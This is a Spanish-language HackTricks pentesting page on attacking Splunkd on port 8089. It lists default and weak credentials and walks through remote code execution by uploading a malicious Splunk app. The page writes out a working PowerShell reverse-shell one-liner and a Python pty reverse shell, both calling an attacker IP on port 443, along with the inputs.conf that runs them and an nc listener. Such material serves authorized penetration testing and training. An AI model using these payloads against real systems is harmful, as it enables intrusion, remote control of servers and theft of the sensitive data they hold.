8089 - Pentesting Splunkd

Support HackTricks

Información Básica

Splunk es una herramienta de análisis de registros que juega un papel crucial en la recopilación, análisis y visualización de datos. Aunque su propósito inicial no era servir como una herramienta SIEM (Gestión de Información y Eventos de Seguridad), ha ganado popularidad en el ámbito de monitoreo de seguridad y análisis de negocios.

Las implementaciones de Splunk se utilizan frecuentemente para almacenar datos sensibles y pueden servir como una fuente valiosa de información para posibles atacantes si logran comprometer el sistema. Puerto por defecto: 8089

PORT     STATE SERVICE VERSION
8089/tcp open  http    Splunkd httpd

El servidor web de Splunk se ejecuta por defecto en el puerto 8000.

Enumeración

Versión Gratuita

La prueba de Splunk Enterprise se convierte en una versión gratuita después de 60 días, que no requiere autenticación. No es raro que los administradores de sistemas instalen una prueba de Splunk para probarlo, que posteriormente se olvida. Esto se convertirá automáticamente en la versión gratuita que no tiene ninguna forma de autenticación, introduciendo un agujero de seguridad en el entorno. Algunas organizaciones pueden optar por la versión gratuita debido a restricciones presupuestarias, sin comprender completamente las implicaciones de no tener gestión de usuarios/roles.

Credenciales Predeterminadas

En versiones más antiguas de Splunk, las credenciales predeterminadas son admin:changeme, que se muestran convenientemente en la página de inicio de sesión. Sin embargo, la última versión de Splunk establece credenciales durante el proceso de instalación. Si las credenciales predeterminadas no funcionan, vale la pena verificar contraseñas débiles comunes como admin, Welcome, Welcome1, Password123, etc.

Obtener Información

Una vez que iniciamos sesión en Splunk, podemos navegar por los datos, ejecutar informes, crear tableros, instalar aplicaciones de la biblioteca Splunkbase e instalar aplicaciones personalizadas. También puedes ejecutar código: Splunk tiene múltiples formas de ejecutar código, como aplicaciones Django del lado del servidor, puntos finales REST, entradas scriptadas y scripts de alerta. Un método común para obtener ejecución remota de código en un servidor Splunk es a través del uso de una entrada scriptada.

Además, dado que Splunk se puede instalar en hosts de Windows o Linux, se pueden crear entradas scriptadas para ejecutar scripts de Bash, PowerShell o Batch.

Shodan

  • Splunk build

RCE

Crear Aplicación Personalizada

Una aplicación personalizada puede ejecutar scripts de Python, Batch, Bash o PowerShell. Ten en cuenta que Splunk viene con Python instalado, por lo que incluso en sistemas Windows podrás ejecutar código python.

Puedes usar este paquete de Splunk para ayudarnos. El directorio bin en este repositorio tiene ejemplos para Python y PowerShell. Vamos a recorrer esto paso a paso.

Para lograr esto, primero necesitamos crear una aplicación personalizada de Splunk utilizando la siguiente estructura de directorio:

tree splunk_shell/

splunk_shell/
├── bin
└── default

El bin directorio contendrá cualquier script que pretendamos ejecutar (en este caso, un PowerShell reverse shell), y el directorio predeterminado tendrá nuestro archivo inputs.conf. Nuestro reverse shell será un PowerShell one-liner:

$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(

El archivo inputs.conf le dice a Splunk qué script ejecutar y cualquier otra condición. Aquí configuramos la aplicación como habilitada y le decimos a Splunk que ejecute el script cada 10 segundos. El intervalo siempre está en segundos, y la entrada (script) solo se ejecutará si esta configuración está presente.

cat inputs.conf

[script://./bin/rev.py]
disabled = 0
interval = 10
sourcetype = shell

[script://.\bin\run.bat]
disabled = 0
sourcetype = shell
interval = 10

Necesitamos el archivo .bat, que se ejecutará cuando la aplicación se despliegue y ejecute la línea de comando de PowerShell.

El siguiente paso es elegir Install app from file y subir la aplicación.

Antes de subir la aplicación personalizada maliciosa, comencemos un listener usando Netcat o socat.

sudo nc -lnvp 443

listening on [any] 443 ...

En la página Upload app, haz clic en explorar, elige el tarball que creamos anteriormente y haz clic en Upload. Tan pronto como subamos la aplicación, se recibirá un reverse shell ya que el estado de la aplicación se cambiará automáticamente a Enabled.

Linux

Si estuviéramos tratando con un host de Linux, tendríamos que editar el script de Python rev.py antes de crear el tarball y subir la aplicación maliciosa personalizada. El resto del proceso sería el mismo, y obtendríamos una conexión de reverse shell en nuestro oyente de Netcat y estaríamos listos para comenzar.

import sys,socket,os,pty

ip="10.10.14.15"
port="443"
s=socket.socket()
s.connect((ip,int(port)))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn('/bin/bash')

RCE & Escalación de Privilegios

En la siguiente página puedes encontrar una explicación de cómo este servicio puede ser abusado para escalar privilegios y obtener persistencia:

Splunk LPE and Persistence

Referencias

Apoya a HackTricks

Last updated